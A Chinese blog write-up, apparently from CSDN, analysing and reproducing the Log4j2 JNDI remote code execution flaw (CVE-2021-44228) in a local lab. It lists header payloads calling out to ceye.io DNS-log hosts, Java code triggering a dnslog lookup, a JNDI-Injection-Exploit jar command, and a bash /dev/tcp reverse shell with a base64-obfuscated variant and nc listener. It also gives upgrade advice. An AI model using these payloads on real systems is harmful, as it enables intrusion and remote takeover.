2021年12月8号爆出的log4j2的远程代码执行漏洞【cve-2021-44228】,堪称史诗级核弹漏洞,虽然过了这么久,大部分现网中的相关漏洞已经修复,但任然可以捡漏…,网上也有不少大佬和研究机构都对该漏洞做了分析和复盘,年前年后比较忙,一直没有好好的分析总结该漏洞,最近学习下刚好补上。

漏洞描述及影响

log4j是Apache的一个开源项目,是一个基于Java的日志记录框架。Log4j2是log4j的后继者,被大量用于业务系统开发,记录日志信息。很多互联网公司以及耳熟能详的公司的系统都在使用该框架。Apache Log4j2 组件在开启了日志记录功能后,凡是在可触发错误记录日志的地方,插入漏洞利用代码,即可利用成功。特殊情况下,若该组件记录的日志包含其他系统的记录日志,则有可能造成间接投毒。通过中间系统,使得组件间接读取了具有攻击性的漏洞利用代码,亦可间接造成漏洞触发。

同时该漏洞还影响很多全球使用量的Top序列的通用开源组件,例如 Apache Struts2、Apache Solr、Apache Druid、Apache Flink等

用户认证:不需要用户认证触发方式:远程配置方式:默认利用条件:需要外网访问权限影响版本:2.0 ≤ Apache Log4j2 < 2.15.0-rc2利用难度:极低,无需授权即可远程代码执行威胁等级:严重,能造成远程代码执行综合评估漏洞利用难度极低,利用要求较少,影响范围很大,危害极其严重,且已经被黑客公开利用持续全网扫描,根据部里要求,需要紧急修复。

漏洞分析

该漏洞的主要原因是log4j在日志输出中,未对字符合法性进行严格的限制,执行了JNDI协议加载的远程恶意脚本,从而造成RCE。这里面有一个关键点就是,什么是JNDI,为什么JNDI可以造成RCE
【Java JNDI使用详解】 https://blog.csdn.net/qinwuxian19891211/article/details/108969927,这篇文章中很好的介绍了什么是JNDI,这里摘抄文章中的重点的部分,以作说明,

JNDI(Java Naming and Directory Interface–Java命名和目录接口)是Java中为命名和目录服务提供接口的API,通过名字可知道,JNDI主要由两部分组成:Naming(命名)和Directory(目录),其中Naming是指将对象通过唯一标识符绑定到一个上下文Context,同时可通过唯一标识符查找获得对象,而Directory主要指将某一对象的属性绑定到Directory的上下文DirContext中,同时可通过名字获取对象的属性同时操作属性。
JNDI主要由JNDI API和JNDI SPI两部分组成,Java应用程序通过JNDI API访问目录服务,而JNDI API会调用Naming Manager实例化JNDI SPI,然后通过JNDI SPI去操作命名或目录服务其如LDAP, DNS,RMI等,JNDI内部已实现了对LDAP,DNS, RMI等目录服务器的操作API。

这里面有个很重要的点,java应用程序中可以调用JNDI协议访问远程服务,其底层包含了RMI、LDAP、DNS等协议的调用,说明白点,就是可以通过JNDI访问远程的相关目录服务,本次爆发的攻击payload都是通过jndi调用了远程的恶意class,然后本地反序列化执行。和以前的fastjson攻击的手法差不多,这里面涉及到jndi注入和java反序列化漏洞的相关知识,可以作为一个单独的文章来说明,这里只将和log4j本次漏洞相关的。详细的,可以参考网上的一篇文章,【深入理解JNDI注入与Java反序列化漏洞利用】
首先我们看一下,收集到的log4j payload:

X-Client-IP: ${jndi:ldap://1644763261510dpicz.zdl7qs.ceye.io/VXBQo}
X-Remote-IP: ${jndi:ldap://1644763261510jnabe.zdl7qs.ceye.io/vl}
X-Remote-Addr: ${jndi:ldap://1644763261510xplnj.zdl7qs.ceye.io/hTE}
X-Forwarded-For: ${jndi:ldap://1644763261510lbnhl.zdl7qs.ceye.io/hvgsw}
X-Originating-IP: ${jndi:ldap://1644763261510pbhdy.zdl7qs.ceye.io/LxrC}
True-Client-IP: ${jndi:rmi://1644763261510jjchm.zdl7qs.ceye.io/FrfXm}
Originating-IP: ${jndi:rmi://1644763261510jctho.zdl7qs.ceye.io/vbP}
X-Real-IP: ${jndi:rmi://1644763261510fyvxt.zdl7qs.ceye.io/fWmjt}
Client-IP: ${jndi:rmi://1644763261510nfaoa.zdl7qs.ceye.io/mS}
X-Api-Version: ${jndi:rmi://1644763261510daeem.zdl7qs.ceye.io/IdJ}
Sec-Ch-Ua: ${jndi:dns://1644763261510wjiit.zdl7qs.ceye.io/IX}
Sec-Ch-Ua-Platform: ${jndi:dns://1644763261510dacbb.zdl7qs.ceye.io/ftA}
Sec-Fetch-Site: ${jndi:dns://1644763261510rypwe.zdl7qs.ceye.io/asWuD}
Sec-Fetch-Mode: ${jndi:dns://1644763261510osrig.zdl7qs.ceye.io/zc}
Sec-Fetch-User: ${jndi:dns://1644763261510uvfsl.zdl7qs.ceye.io/oNpOs}
Sec-Fetch-Dest: ${jndi:dns://1644763261510ptqen.zdl7qs.ceye.io/fGwFl}

以及一些变形的payload:

这些payload的形式大多类似与这样:
${jndi:ldap://xxxx.com.cn},我们可以看看直接在代码中利用log4j输出以上字符串,到底会发生什么,上代码:

//首先在pom文件中,引入含有漏洞的log4j包,pom文件<dependencies><dependency><groupId>org.apache.logging.log4j</groupId><artifactId>log4j-api</artifactId><version>2.14.0</version></dependency><dependency><groupId>org.apache.logging.log4j</groupId><artifactId>log4j-core</artifactId><version>2.14.0</version></dependency></dependencies>// 直接在代码中输出含有ldap的dnslog的查询,
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class Log4j11Test {private static Logger logger = LogManager.getLogger("Log4jDemoApplication");public static void main(String[] args) {logger.error("${jndi:ldap://log4j.voxxaq.dnslog.cn}");}
}

运行以上代码,观察到dnslog上有反查记录,说明应用程序lookup了log4j.voxxaq.dnslog.cn这个域名,留下了查找记录

既然能远程访问,那返回的又是什么呢,有没有可能加载远程服务器上的恶意类呢?答案是肯定的,我们只需要构建一个ldap或rmi远程服务即可,让远程服务器返回恶意class,如图

验证

按照以上的思路,首先要在远程服务器上准备ldap或rmi服务,这里我们利用现成的工具,【JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar】,github上已有大神准备好了,这个jar包的作用是在服务器上开启ldap和rmi服务,并且可以自定义要执行的代码。命令执行格式如下:

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "payload" -A "serverip"

A参数为远程服务器的IP,我们只需要关注payload,将他变为要执行的代码即可。这里我们直接反弹一个shell,payload为
bash -i >& /dev/tcp/serverip/port 0>&1,因为其中含有&等特需符号,为防止执行不成功,换一种写法,变形为,bash -c {echo,base64_encoded_payload}|{base64,-d}|{bash,-i},本质上和前面是一样的,只不过是将前面的payload先base64编码后再解码。
执行后,输出如下:
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-WuxiAheR-1644768636746)(vx_images/87154923231691.png)]
以上分别在1099端口和1389端口,开启了rmi,ldap的监听服务,等待jndi的连接。同时我们也再9999端口,开启一个反弹监听端口,等待反弹shell上线。

nc -lvvp 9999

这里,我们直接用本地搭建漏洞环境,也可以用volfocus上的在线靶场环境。启动本地含有漏洞的spring boot的服务,如图:

以上环境在request header 中X-Api-Version 中存在log4j2的漏洞,直接在postman中发送请求:

观察远程服务端:

再观察反弹的9999端口:

以上可以看到反弹shell,成功上线。

修复

从前面的分析验证可以看出,该漏洞可直接加载远程代码,反弹shell,危害巨大。需将log4j2的jar包升级为2.17-rc2及以上

log4j漏洞分析及总结相关推荐

  1. RMI、JNDI、LDAP介绍+log4j漏洞分析

    介绍 本篇主要介绍java的RMI.JNDI.LDAP,在后面会详细分析log4j的jndi注入原理. 什么是RMI RMI全称是Remote Method Invocatioon,也就是远程方法调用 ...

  2. log4j漏洞原理分析复现检测复盘

    凡事要自发,自然而为,即要顺从一切处于自然状态的事物,允许它们自发地转变.这样,道即达到了一种"无为而无不为"的状态.在日常生活中,道表现为"不自傲"或&quo ...

  3. 如何跟踪log4j漏洞原理及发现绕WAF的tips

    log4j漏洞的形成原因已经有很多分析文章了,这里说一说我是如何在了解到有漏洞后,跟进漏洞产生原理的,以及发现的一些绕WAF tips 跟进漏洞产生原因的思路 如何发现漏洞产生原因的 了解到log4j ...

  4. 美国国土安全部:Log4j 漏洞的影响将持续十年或更久

     聚焦源代码安全,网罗国内外最新资讯! 作者:Jessica Lyons Hardcastle 编译:代码卫士 专栏·供应链安全 数字化时代,软件无处不在.软件如同社会中的"虚拟人" ...

  5. 涉及 GitHub、GitLab,研究人员发现 70 个 Web 缓存中毒漏洞;微软:许多攻击者仍对 Log4j 漏洞加以利用;VS 2022 新版发布 | 开源日报

    开源吞噬世界的趋势下,借助开源软件,基于开源协议,任何人都可以得到项目的源代码,加以学习.修改,甚至是重新分发.关注「开源日报」,一文速览国内外今日的开源大事件吧! 一分钟速览新闻点! 微软:许多攻击 ...

  6. 网安大事件丨Fortinet对Apache Log4j漏洞利用的全面复盘与防御

    起底Apache Log4j漏洞: 如何出现.如何被利用与如何防御 受影响平台: 任何使用Log4j2漏洞版本的应用程序和服务 受影响用户: 任何使用Log4j的具备该漏洞版本的组织 影响: 远程攻击 ...

  7. Elasticsearch Log4j漏洞快速修复步骤

    Elasticsearch Log4j漏洞快速修复步骤 原创2021-12-14 21:27·walkingcloud 一.Elasticsearch关于Log4j2漏洞的官方说明 可以参考如下链接 ...

  8. 使用电磁辐射可获取恶意软件信息、微软称Log4j漏洞攻击水平仍然很高|1月5日全球网络安全热点

    安全资讯报告 使用电磁辐射可获取恶意软件信息 研究人员开发了一种独特的策略,该策略使用来自物联网(IoT)设备的电磁场发射作为旁路,以获取有关针对嵌入式系统的多种类型恶意软件的准确信息,即使使用混淆策 ...

  9. log4j2漏洞分析

    log4j2漏洞分析 环境布置 前言 漏洞分析 调用栈 一些前置知识 入口函数 LoggerConfig.processLogEvent() AppenderControl.callAppender ...

最新文章

  1. 如何只使用预训练模型的卷积层
  2. linux下防火墙iptables原理及使用
  3. 将Linux下编译的warning警告信息输出到文件中
  4. php 添加cdata,PHP cdata 处理 PHP cdata 处理(仔细讲解)
  5. 如何动态的修改隐藏域,让它实现添加,又可以实现修改操作
  6. 并查集--Java实现
  7. 模拟生成随机四位GB2312的汉字验证码(python3.X)
  8. 谷歌退出中国市场传言推动百度股价大涨4.8%【转载】
  9. json格式校验(json格式校验器)
  10. 转载:声优 - 野上ゆかな
  11. 线段树--暴力修改专题浅谈
  12. TRC格列卫(甲磺酸伊马替尼)病毒-宿主融合抑制剂方案
  13. 7kyu Jaden Casing Strings
  14. mfc中插入PNG透明图片
  15. 判断NSString是否含有某字符rangeOfString
  16. AWS强烈反击Elastic,欲打造自己的Elasticsearch开源产品OpenSearch
  17. 【Unity3D日常BUG记录】Unity打包运行出现:PlatformNotSupportedException该平台不支持此操作的解决记录
  18. Python之生成器详解
  19. hbase2.x HBCK Report Region Holes Overlaps问题修复
  20. 升级bigsur_升级macOS Big Sur遇到问题?问题修复合集不可错过

热门文章

  1. Office 2008 for Macintosh: The Missing Manual
  2. 练习2-4:重新编写函数squeeze(s1,s2),将字符串s1中的任何字符与字符串时s2中的字符匹配的字符都删除
  3. 为什么是百度先造出了“知识型网红”
  4. Unity Manual阅读记录——Animation(version 2019.4)
  5. 五子棋(C++面向对象实现)
  6. 步步「动」心,人-机器人渐进式交互研究——百度人工智能交互设计院
  7. [PAT A1044]Shopping in Mars
  8. 李峋同款爱心代码-电视剧《点燃我温暖你》
  9. 【原创】VBA学习笔记(303)VBA 要善用各种VBE 代码窗口 自带的帮助系统
  10. /动态设置element DatePicker日期组件的disabledDate禁选日期